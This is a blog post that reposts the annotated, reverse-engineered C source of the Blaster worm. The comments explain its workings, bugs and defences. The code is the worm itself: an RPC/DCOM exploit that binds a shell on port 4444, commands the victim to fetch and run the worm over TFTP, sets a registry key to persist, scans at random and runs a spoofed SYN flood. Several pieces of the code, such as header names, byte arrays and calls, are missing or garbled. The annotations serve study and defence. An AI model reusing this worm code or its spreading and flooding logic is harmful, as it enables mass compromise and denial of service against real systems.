Wednesday, July 30, 2008

C++ worm, the source code of the blaster worm


#include /*IP_HDRINCL*/

#include /*InternetGetConnectedState*/


#pragma comment (lib, "ws2_32.lib")

#pragma comment (lib, "wininet.lib")

#pragma comment (lib, "advapi32.lib")


* These strings aren't used in the worm, I put them here

* so that whitehat researchers would discover them.


const char msg1[]="billy gates why do you make this possible ?"

" Stop making money and fix your software!!";

#define MSBLAST_EXE "msblast.exe"


* MS-RPC/DCOM runs over port 135.

* DEFENSE: firewalling port 135 will prevent systems from

* being exploited and will hinder the spread of this worm.


#define MSRCP_PORT_135 135


* The TFTP protocol is defined to run on port 69. Once this

* worm breaks into a victim, it will command it to download

* the worm via TFTP. Therefore, the worms briefly runs a

* TFTP service to deliver that file.

* DEFENSE: firewalling 69/udp will prevent the worm from

* fully infected a host.


#define TFTP_PORT_69 69


* The shell-prompt is established over port 4444. The

* exploit code (in the variable 'sc') commands the victim

* to "bind a shell" on this port. The exploit then connects

* to that port to send commands, such as TFTPing the

* msblast.exe file down and launching it.

* DEFENSE: firewalling 4444/tcp will prevent the worm from

* spreading.


#define SHELL_PORT_4444 4444


* A simple string to hold the current IP address


char target_ip_string[16];


* A global variable to hold the socket for the TFTP service.


int fd_tftp_service;


* Global flag to indicate this thread is running. This

* is set when the thread starts, then is cleared when

* the thread is about to end.

* This demonstrates that Buford isn't confident with

* multi-threaded programming -- he should just check

* the thread handle.


int is_tftp_running;


* When delivering the worm file to the victim, it gets the

* name by querying itself using GetModuleFilename(). This

* makes it easier to change the filename or to launch the

* worm. */

char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;

ULONG WINAPI blaster_DoS_thread(LPVOID);

void blaster_spreader();

void blaster_exploit_target(int fd, const char *victim_ip);

void blaster_send_syn_packet(int target_ip, int fd);


* This is where the 'msblast.exe' program starts running


void main(int argc, char *argv[])



char myhostname[512];

char daystring[3];

char monthstring[3];

HKEY hKey;

int ThreadId;

register unsigned long scan_local=0;


* Create a registry key that will cause this worm

* to run every time the system restarts.

* DEFENSE: Slammer was "memory-resident" and could

* be cleaned by simply rebooting the machine.

* Cleaning this worm requires this registry entry

* to be deleted.




/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"


/*Reserved*/ 0,

/*lpClass*/ NULL,


/*samDesired */ KEY_ALL_ACCESS,

/*lpSecurityAttributes*/ NULL,

/*phkResult */ &hKey,

/*lpdwDisposition */ 0);



"windows auto update",







* Make sure this isn't a second infection. A common problem

* with worms is that they sometimes re-infect the same

* victim repeatedly, eventually crashing it. A crashed

* system cannot spread the worm. Therefore, worm writers

* now make sure to prevent reinfections. The way Blaster

* does this is by creating a system "global" object called

* "BILLY". If another program in the computer has already

* created "BILLY", then this instance won't run.

* DEFENSE: this implies that you can remove Blaster by

* creating a mutex named "BILLY". When the computer

* restarts, Blaster will falsely believe that it has

* already infected the system and will quit.


CreateMutexA(NULL, TRUE, "BILLY");

if (GetLastError() == ERROR_ALREADY_EXISTS)



* Windows systems requires "WinSock" (the network API layer)

* to be initialized. Note that the SYNflood attack requires

* raw sockets to be initialized, which only works in

* version 2.2 of WinSock.

* BUFORD: The following initialization is needlessly

* complicated, and is typical of programmers who are unsure

* of their knowledge of sockets..


if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0

&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0

&& WSAStartup(1, &WSAData) != 0)



* The worm needs to read itself from the disk when

* transferring to the victim. Rather than using a hard-coded

* location, it discovered the location of itself dynamically

* through this function call. This has the side effect of

* making it easier to change the name of the worm, as well

* as making it easier to launch it.


GetModuleFileNameA(NULL, msblast_filename,



* When the worm infects a dialup machine, every time the user

* restarts their machine, the worm's network communication

* will cause annoying 'dial' popups for the user. This will

* make them suspect their machine is infected.

* The function call below makes sure that the worm only

* starts running once the connection to the Internet

* has been established and not before.

* BUFORD: I think Buford tested out his code on a machine

* and discovered this problem. Even though much of the

* code indicates he didn't spend much time on

* testing his worm, this line indicates that he did

* at least a little bit of testing.


while (!InternetGetConnectedState(&ThreadId, 0))

Sleep (20000); /*wait 20 seconds and try again */


* Initialize the low-order byte of target IP address to 0.


ClassD = 0;


* The worm must make decisions "randomly": each worm must

* choose different systems to infect. In order to make

* random choices, the programmer must "seed" the random

* number generator. The typical way to do this is by

* seeding it with the current timestamp.

* BUFORD: Later in this code you'll find that Buford calls

* 'srand()' many times to reseed. This is largely

* unnecessary, and again indicates that Buford is not

* confident in his programming skills, so he constantly

* reseeds the generator in order to make extra sure he

* has gotten it right.




* This initializes the "local" network to some random

* value. The code below will attempt to figure out what

* the true local network is -- but just in case it fails,

* the initialization fails, using random values makes sure

* the worm won't do something stupid, such as scan the

* network around


local_class_a = (rand() % 254)+1;

local_class_b = (rand() % 254)+1;


* This discovers the local IP address used currently by this

* victim machine. Blaster randomly chooses to either infect

* just the local ClassB network, or some other network,

* therefore it needs to know the local network.

* BUFORD: The worm writer uses a complex way to print out

* the IP address into a string, then parse it back again

* to a number. This demonstrates that Buford is fairly

* new to C programming: he thinks in terms of the printed

* representation of the IP address rather than in its

* binary form.


if (gethostname(myhostname, sizeof(myhostname)) != -1) {

HOSTENT *p_hostent = gethostbyname(myhostname);

if (p_hostent != NULL && p_hostent->h_addr != NULL) {

struct in_addr in;

const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));

sprintf(myhostname, "%s", inet_ntoa(in));

p_addr_item = strtok(myhostname, ".");

ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassC = atoi(p_addr_item);

if (ClassC > 20) {

/* When starting from victim's address range,

* try to start a little bit behind. This is

* important because the scanning logic only

* move forward. */


ClassC -= (rand() % 20);


local_class_a = ClassA;

local_class_b = ClassB;

scan_local = TRUE;




* This chooses whether Blaster will scan just the local

* network (40% chance) or a random network (60% chance)



if ((rand() % 20) < 12)

scan_local = FALSE;


* The known exploits require the hacker to indicate whether

* the victim is WinXP or Win2k. The worm has to guess. The

* way it guesses is that it chooses randomly. 80% of the time

* it will assume that all victims are WinXP, and 20% of the

* time it will assume all victims are Win2k. This means that

* propogation among Win2k machines will be slowed down by

* the fact Win2k machines are getting DoSed faster than they

* are getting exploited.


winxp1_or_win2k2 = 1;

if ((rand()%10) > 7)

winxp1_or_win2k2 = 2;


* If not scanning locally, then choose a random IP address

* to start with.

* BUG: this worm choose bad ranges above 224. This will

* cause a bunch of unnecessary multicast traffic. Weird

* multicast traffic has historically been an easy way of

* detecting worm activity.


if (!scan_local) {

ClassA = (rand() % 254)+1;

ClassB = (rand() % 254);

ClassC = (rand() % 254);



* Check the date so that when in the certain range, it will

* trigger a DoS attack against Micosoft. The following

* times will trigger the DoS attack:

* Aug 16 through Aug 31

* Spt 16 through Spt 30

* Oct 16 through Oct 31

* Nov 16 through Nov 30

* Dec 16 through Dec 31

* This applies to all years, and is based on local time.

* FAQ: The worm is based on "local", not "global" time.

* That means the DoS attack will start from Japan,

* then Asia, then Europe, then the United States as the

* time moves across the globe.




GetDateFormat( LOCALE_409,


NULL, /*localtime, not GMT*/




GetDateFormat( LOCALE_409,


NULL, /*localtime, not GMT*/




if (atoi(daystring) > 15 && atoi(monthstring) > 8)

CreateThread(NULL, 0,


0, 0, &ThreadId);


* As the final task of the program, go into worm mode

* trying to infect systems.


for (;;)



* It'll never reach this point, but in theory, you need a

* WSACleanup() after a WSAStartup().





* This will be called from CreateThread in the main worm body

* right after it connects to port 4444. After the thread is

* started, it then sends the string "

* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents

* the IP address of the attacker).

* Once it sends the string, it then waits for 20 seconds for the

* TFTP server to end. If the TFTP server doesn't end, it calls

* TerminateThread.


DWORD WINAPI blaster_tftp_thread(LPVOID p)



* This is the protocol format of a TFTP packet. This isn't

* used in the code -- I just provide it here for reference


struct TFTP_Packet


short opcode;

short block_id;

char data[512];


char reqbuf[512]; /* request packet buffer */

struct sockaddr_in server; /* server-side port number */

struct sockaddr_in client; /* client IP address and port */

int sizeof_client; /* size of the client structure*/

char rspbuf[512]; /* response packet */

static int fd; /* the socket for the server*/

register FILE *fp;

register block_id;

register int block_size;

/* Set a flag indicating this thread is running. The other

* thread will check this for 20 seconds to see if the TFTP

* service is still alive. If this thread is still alive in

* 20 seconds, it will be killed.


is_tftp_running = TRUE; /*1 == TRUE*/

/* Create a server-socket to listen for UDP requests on */

fd = socket(AF_INET, SOCK_DGRAM, 0);

if (fd == SOCKET_ERROR)

goto closesocket_and_exit;

/* Bind the socket to 69/udp */

memset(&server, 0, sizeof(server));

server.sin_family = AF_INET;

server.sin_port = htons(TFTP_PORT_69);

server.sin_addr.s_addr = 0; /*TFTP server addr = */

if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)

goto closesocket_and_exit;

/* Receive a packet, any packet. The contents of the received

* packet are ignored. This means, BTW, that a defensive

* "worm-kill" could send a packet from somewhere else. This

* will cause the TFTP server to download the msblast.exe

* file to the wrong location, preventing the victim from

* doing the download. */

sizeof_client = sizeof(client);

if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,

(struct sockaddr*)&client, &sizeof_client) <= 0)

goto closesocket_and_exit;

/* The TFTP server will respond with many 512 byte blocks

* until it has completely sent the file; each block must

* have a unique ID, and each block must be acknowledged.

* BUFORD: The worm ignores TFTP ACKs. This is probably why

* the worm restarts the TFTP service rather than leaving it

* enabled: it essentially flushes all the ACKs from the

* the incoming packet queue. If the ACKs aren't flushed,

* the worm will incorrectly treat them as TFTP requests.


block_id = 0;

/* Open this file. GetModuleFilename was used to figure out

* this filename. */

fp = fopen(msblast_filename, "rb");

if (fp == NULL)

goto closesocket_and_exit;

/* Continue sending file fragments until none are left */

for (;;) {


/* Build TFTP header */


*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);

*(short*)(rspbuf+2)= htons((short)block_id);

/* Read next block of data (about 12 blocks total need

* to be read) */

block_size = fread(rspbuf+4, 1, 512, fp);

/* Increase the effective length to include the TFTP

* head built above */

block_size += 4;

/* Send this block */

if (sendto(fd, (char*)&rspbuf, block_size,

0, (struct sockaddr*)&client, sizeof_client) <= 0)


/* Sleep for a bit.

* The reason for this is because the worm doesn't care

* about retransmits -- it therefore must send these

* packets slow enough so congestion doesn't drop them.

* If it misses a packet, then it will DoS the victim

* without actually infecting it. Worse: the intended

* victim will continue to send packets, preventing the

* worm from infecting new systems because the

* requests will misdirect TFTP. This design is very

* bad, and is my bet as the biggest single factor

* that slows down the worm. */


/* File transfer ends when the last block is read, which

* will likely be smaller than a full-sized block*/

if (block_size != sizeof(rspbuf)) {


fp = NULL;




if (fp != NULL)



/* Notify that the thread has stopped, so that the waiting

* thread can continue on */

is_tftp_running = FALSE;



return 0;



* This function increments the IP address.

* BUFORD: This conversion from numbers, to strings, then back

* to number is overly complicated. Experienced programmers

* would simply store the number and increment it. This shows

* that Buford does not have much experience work with

* IP addresses.


void blaster_increment_ip_address()


for (;;) {

if (ClassD <= 254) {




ClassD = 0;


if (ClassC <= 254)


ClassC = 0;


if (ClassB <= 254)


ClassB = 0;


if (ClassA <= 254)


ClassA = 0;





* This is called from the main() function in an

* infinite loop. It scans the next 20 addresses,

* then exits.


void blaster_spreader()


fd_set writefds;

register int i;

struct sockaddr_in sin;

struct sockaddr_in peer;

int sizeof_peer;

int sockarray[20];

int opt = 1;

const char *victim_ip;

/* Create the beginnings of a "socket-address" structure that

* will be used repeatedly below on the 'connect()' call for

* each socket. This structure specified port 135, which is

* the port used for RPC/DCOM. */

memset(&sin, 0, sizeof(sin));

sin.sin_family = AF_INET;

sin.sin_port = htons(MSRCP_PORT_135);

/* Create an array of 20 socket descriptors */

for (i=0; i<20; i++) {

sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);

if (sockarray[i] == -1)


ioctlsocket(sockarray[i], FIONBIO , &opt);


/* Initiate a "non-blocking" connection on all 20 sockets

* that were created above.

* FAQ: Essentially, this means that the worm has 20

* "threads" -- even though they aren't true threads.


for (i=0; i<20; i++) {

int ip;


sprintf(target_ip_string, "%i.%i.%i.%i",

ClassA, ClassB, ClassC, ClassD);

ip = inet_addr(target_ip_string);

if (ip == -1)


sin.sin_addr.s_addr = ip;

connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));


/* Wait 1.8-seconds for a connection.

* BUG: this is often not enough, especially when a packet

* is lost due to congestion. A small timeout actually makes

* the worm slower than faster */


/* Now test to see which of those 20 connections succeeded.

* BUFORD: a more experienced programmer would have done

* a single 'select()' across all sockets rather than

* repeated calls for each socket. */

for (i=0; i<20; i++) {

struct timeval timeout;

int nfds;

timeout.tv_sec = 0;

timeout.tv_usec = 0;

nfds = 0;


FD_SET((unsigned)sockarray[i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) != 1) {


} else {

sizeof_peer = sizeof(peer);


(struct sockaddr*)&peer, &sizeof_peer);

victim_ip = inet_ntoa(peer.sin_addr);

/* If connection succeeds, exploit the victim */

blaster_exploit_target(sockarray[i], victim_ip);






* This is where the victim is actually exploited. It is the same

* exploit as created by xfocus and altered by HDMoore.

* There are a couple of differences. The first is that the in

* those older exploits, this function itself would create the

* socket and connect, whereas in Blaster, the socket is already

* connected to the victim via the scanning function above. The

* second difference is that the packets/shellcode blocks are

* declared as stack variables rather than as static globals.

* Finally, whereas the older exploits give the hacker a

* "shell prompt", this one automates usage of the shell-prompt

* to tell the victim to TFTP the worm down and run it.


void blaster_exploit_target(int sock, const char *victim_ip)


/* These blocks of data are just the same ones copied from the

* xfocus exploit prototype. Whereas the original exploit

* declared these as "static" variables, Blaster declares

* these as "stack" variables. This is because the xfocus

* exploit altered them -- they must be reset back to their

* original values every time. */

unsigned char bindstr[]={







unsigned char request1[]={
























































unsigned char request2[]={



unsigned char request3[]={






unsigned char sc[]=




"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */











































unsigned char request4[]={






int ThreadId;

int len;

int sizeof_sa;

int ret;

int opt;

void *hThread;

struct sockaddr_in target_ip;

struct sockaddr_in sa;

int fd;

char cmdstr[0x200];

int len1;

unsigned char buf2[0x1000];

int i;


* Turn off non-blocking (i.e. re-enable blocking mode)

* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')

* will slow down the spread of this worm. It takes a long

* time for blocking calls to timeout. I had several

* thousand worms halted by my 'deredoc' tarpit.


opt = 0;

ioctlsocket(sock, FIONBIO , &opt);


* Choose whether the exploit targets Win2k or WinXP.


if (winxp1_or_win2k2 == 1)

ret = 0x100139d;


ret = 0x18759f;

memcpy(sc+36, (unsigned char *) &ret, 4);

/* ----------------------------------------------

* This section is just copied from the original exploit

* script. This is the same as the scripts that have been

* widely published on the Internet. */




*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;

*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;









*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;

if (send(sock,bindstr,sizeof(bindstr),0)== -1)


//perror("- Send");



if (send(sock,buf2,len1,0)== -1)


//perror("- Send");





/* ----------------------------------------------*/


* This section of code connects to the victim on port 4444.

* DEFENSE : This means you can block this worm by blocking

* TCP port 4444.

* FAQ: This port is only open for the brief instant needed

* to exploit the victim. Therefore, you can't scan for

* port 4444 in order to find Blaster victims.


if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)


memset(&target_ip, 0, sizeof(target_ip));

target_ip.sin_family = AF_INET;

target_ip.sin_port = htons(SHELL_PORT_4444);

target_ip.sin_addr.s_addr = inet_addr(victim_ip);

if (target_ip.sin_addr.s_addr == SOCKET_ERROR)


if (connect(fd, (struct sockaddr*)&target_ip,

sizeof(target_ip)) == SOCKET_ERROR)



* This section recreates the IP address from whatever IP

* address this successfully connected to. In practice,

* the strings "victim_ip" and "target_ip_string" should be

* the same.


memset(target_ip_string, 0, sizeof(target_ip_string));

sizeof_sa = sizeof(sa);

getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);

sprintf(target_ip_string, "%d.%d.%d.%d",

sa.sin_addr.s_net, sa.sin_addr.s_host,

sa.sin_addr.s_lh, sa.sin_addr.s_impno);


* This section creates a temporary TFTP service that is

* ONLY alive during the period of time that the victim

* needs to download.

* FAQ: You can't scan for TFTP in order to find Blaster

* victims because the port is rarely open.


if (fd_tftp_service)


hThread = CreateThread(0,0,


Sleep(80); /*give time for thread to start*/


* This sends the command

* tftp -i GET msblast.exe

* to the victim. The "tftp.exe" program is built into

* Windows. It's intended purpose is to allow users to

* manually update their home wireless access points with

* new software (and other similar tasks). However, it is

* not intended as a generic file-transfer protocol (it

* stands for "trivial-file-transfer-protocol" -- it is

* intended for only trivial tasks). Since a lot of hacker

* exploits use the "tftp.exe" program, a good hardening

* step is to remove/rename it.


sprintf(cmdstr, "tftp -i %s GET %s\n",

target_ip_string, MSBLAST_EXE);

if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)

goto closesocket_and_return;


* Wait 21 seconds for the victim to request the file, then

* for the file to be delivered via TFTP.



for (i=0; i<10 && is_tftp_running; i++)



* Assume the the transfer is successful, and send the

* command to start executing the newly downloaded program.

* BUFORD: The hacker starts this twice. Again, it

* demonstrates a lock of confidence, so he makes sure it's

* started by doing it twice in slightly different ways.

* Note that the "BILLY" mutex will prevent from actually

* running twice.


sprintf(cmdstr, "start %s\n", MSBLAST_EXE);

if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)

goto closesocket_and_return;


sprintf(cmdstr, "%s\n", MSBLAST_EXE);

send(fd, cmdstr, strlen(cmdstr), 0);



* This section closes the things started in this procedure



/* Close the socket for the remote command-prompt that has

* been established to the victim. */

if (fd != 0)


/* Close the TFTP server that was launched above. As noted,

* this means that the TFTP service is not running most of

* the time, so it's not easy to scan for infected systems.


if (is_tftp_running) {



is_tftp_running = 0;





* Convert the name into an IP address. If the IP address

* is formatted in decimal-dot-notation (e.g.,

* then return that IP address, otherwise do a DNS lookup

* on the address. Note that in the case of the worm,

* it always gives the string "" to this

* function, and since Microsoft turned off that name,

* the DNS lookup will usually fail, so this function

* generally returns -1 (SOCKET_ERROR), which means the

* address


int blaster_resolve_ip(const char *windowsupdate_com)


int result;

result = inet_addr(windowsupdate_com);

if (result == SOCKET_ERROR) {

HOSTENT *p_hostent = gethostbyname(windowsupdate_com);

if (p_hostent == NULL)

result = SOCKET_ERROR;


result = *p_hostent->h_addr;


return result;



* This thre


ULONG WINAPI blaster_DoS_thread(LPVOID p)


int opt = 1;

int fd;

int target_ip;

/* Lookup the domain-name. Note that no checking is done

* to ensure that the name is valid. Since Microsoft turned

* this off in their domain-name servers, this function now

* returns -1. */

target_ip = blaster_resolve_ip("");

/* Create a socket that the worm will blast packets at

* Microsoft from. This is what is known as a "raw" socket.

* So-called "raw-sockets" are ones where packets are

* custom-built by the programmer rather than by the TCP/IP

* stack. Note that raw-sockets were not available in Windows

* until Win2k. A cybersecurity pundit called Microsoft

* "irresponsible" for adding them.


* That's probably an

* unfairly harsh judgement (such sockets are available in

* every other OS), but it's true that it puts the power of

* SYNflood attacks in the hands of lame worm writers. While

* the worm-writer would probably have chosen a different

* DoS, such as Slammer-style UDP floods, it's likely that

* Buford wouldn't have been able to create a SYNflood if

* raw-sockets had not been added to Win2k/WinXP. */

fd = WSASocket(

AF_INET, /*TCP/IP sockets*/

SOCK_RAW, /*Custom TCP/IP headers*/






if (fd == SOCKET_ERROR)

return 0;

/* Tell the raw-socket that IP headers will be created by the

* programmer rather than the stack. Most raw sockets in

* Windows will also have this option set. */

if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,

(char*)&opt, sizeof(opt)) == SOCKET_ERROR)

return 0;

/* Now do the SYN flood. The worm writer decided to flood

* slowly by putting a 20-millisecond delay between packets

* -- causing only 500 packets/second, or roughly, 200-kbps.

* There are a couple of reasons why the hacker may have

* chosen this.

* 1. SYNfloods are not intended to be bandwidth floods,

* even slow rates are hard to deal with.

* 2. Slammer DoSed both the sender and receiver, therefore

* senders hunted down infected systems and removed

* them. This won't DoS the sender, so people are more

* likely not to care about a few infected machines.


for (;;) {

blaster_send_syn_packet(target_ip, fd);

/* Q: How fast does it send the SYNflood?

* A: About 50 packets/second, where each packet is

* 320-bits in size, for a total of 15-kbps.

* It means that Buford probably intended for

* dialup users to be a big source of the DoS

* attack. He was smart enough to realize that

* faster floods would lead to users discovering

* the worm and turning it off. */




return 0;



* This is a standard TCP/IP checksum algorithm

* that you find all over the web.


int blaster_checksum(const void *bufv, int length)


const unsigned short *buf = (const unsigned short *)bufv;

unsigned long result = 0;

while (length > 1) {

result += *(buf++);

length -= sizeof(*buf);


if (length) result += *(unsigned char*)buf;

result = (result >> 16) + (result & 0xFFFF);

result += (result >> 16);

result = (~result)&0xFFFF;

return (int)result;



* This is a function that uses "raw-sockets" in order to send

* a SYNflood at the victim, which is "" in

* the case of the Blaster worm.


void blaster_send_syn_packet(int target_ip, int fd)


struct IPHDR


unsigned char verlen; /*IP version & length */

unsigned char tos; /*IP type of service*/

unsigned short totallength;/*Total length*/

unsigned short id; /*Unique identifier */

unsigned short offset; /*Fragment offset field*/

unsigned char ttl; /*Time to live*/

unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/

unsigned short checksum; /*IP checksum*/

unsigned int srcaddr; /*Source address*/

unsigned int dstaddr; /*Destination address*/


struct TCPHDR


unsigned short srcport;

unsigned short dstport;

unsigned int seqno;

unsigned int ackno;

unsigned char offset;

unsigned char flags;

unsigned short window;

unsigned short checksum;

unsigned short urgptr;


struct PSEUDO


unsigned int srcaddr;

unsigned int dstaddr;

unsigned char padzero;

unsigned char protocol;

unsigned short tcplength;




unsigned int srcaddr;

unsigned int dstaddr;

unsigned char padzero;

unsigned char protocol;

unsigned short tcplength;

struct TCPHDR tcphdr;


char spoofed_src_ip[16];

unsigned short target_port = 80; /*SYNflood web servers*/

struct sockaddr_in to;

struct PSEUDO pseudo;

char buf[60] = {0};

struct TCPHDR tcp;

struct IPHDR ip;

int source_ip;

/* Yet another randomizer-seeding */


/* Generate a spoofed source address that is local to the

* current Class B subnet. This is pretty smart of Buford.

* Using just a single IP address allows defenders to turn

* it off on the firewall, whereas choosing a completely

* random IP address would get blocked by egress filters

* (because the source IP would not be in the proper range).

* Randomly choosing nearby IP addresses it probably the

* best way to evade defenses */

sprintf(spoofed_src_ip, "%i.%i.%i.%i",

local_class_a, local_class_b, rand()%255, rand()%255);

source_ip = blaster_resolve_ip(spoofed_src_ip);

/* Build the sockaddr_in structure. Normally, this is what

* the underlying TCP/IP stack uses to build the headers

* from. However, since the DoS attack creates its own

* headers, this step is largely redundent. */

to.sin_family = AF_INET;

to.sin_port = htons(target_port); /*this makes no sense */

to.sin_addr.s_addr = target_ip;

/* Create the IP header */

ip.verlen = 0x45;

ip.totallength = htons(sizeof(ip) + sizeof(tcp)); = 1;

ip.offset = 0;

ip.ttl = 128;

ip.protocol = IPPROTO_TCP;

ip.checksum = 0; /*for now, set to true value below */

ip.dstaddr = target_ip;

/* Create the TCP header */

tcp.dstport = htons(target_port);

tcp.ackno = 0;

tcp.offset = (unsigned char)(sizeof(tcp)<<4);

tcp.flags = 2; /*TCP_SYN*/

tcp.window = htons(0x4000);

tcp.urgptr = 0;

tcp.checksum = 0; /*for now, set to true value below */

/* Create pseudo header (which copies portions of the IP

* header for TCP checksum calculation).*/

pseudo.dstaddr = ip.dstaddr;

pseudo.padzero = 0;

pseudo.protocol = IPPROTO_TCP;

pseudo.tcplength = htons(sizeof(tcp));

/* Use the source adress chosen above that is close, but

* not the same, as the spreader's IP address */

ip.srcaddr = source_ip;

/* Choose a random source port in the range [1000-19999].*/

tcp.srcport = htons((unsigned short)((rand()%1000)+1000));

/* Choose a random sequence number to start the connection.

* BUG: Buford meant htonl(), not htons(), which means seqno

* will be 15-bits, not 32-bits, i.e. in the range

* [0-32767]. (the Windows rand() function only returns

* 15-bits). */

tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

pseudo.srcaddr = source_ip;

/* Calculate TCP checksum */

memcpy(buf, &pseudo, sizeof(pseudo));

memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));

tcp.checksum = blaster_checksum(buf,


memcpy(buf, &ip, sizeof(ip));

memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));

/* I have no idea what's going on here. The assembly code

* zeroes out a bit of memory near the buffer. I don't know

* if it is trying to zero out a real variable that happens

* to be at the end of the buffer, or if it is trying to zero

* out part of the buffer itself. */

memset(buf+sizeof(ip)+sizeof(tcp), 0,


/* Major bug here: the worm writer incorrectly calculates the

* IP checksum over the entire packet. This is incorrect --

* the IP checksum is just for the IP header itself, not for

* the TCP header or data. However, Windows fixes the checksum

* anyway, so the bug doesn't appear in the actual packets

* themselves.


ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

/* Copy the header over again. The reason for this is simply to

* copy over the checksum that was just calculated above, but

* it's easier doing this for the programmer rather than

* figuring out the exact offset where the checksum is

* located */

memcpy(buf, &ip, sizeof(ip));

/* Send the packet */

sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,

(struct sockaddr*)&to, sizeof(to));


1 comment:

Un Known said...

Very nice explanations, even for a beginner like me. Thank you very much for the effort.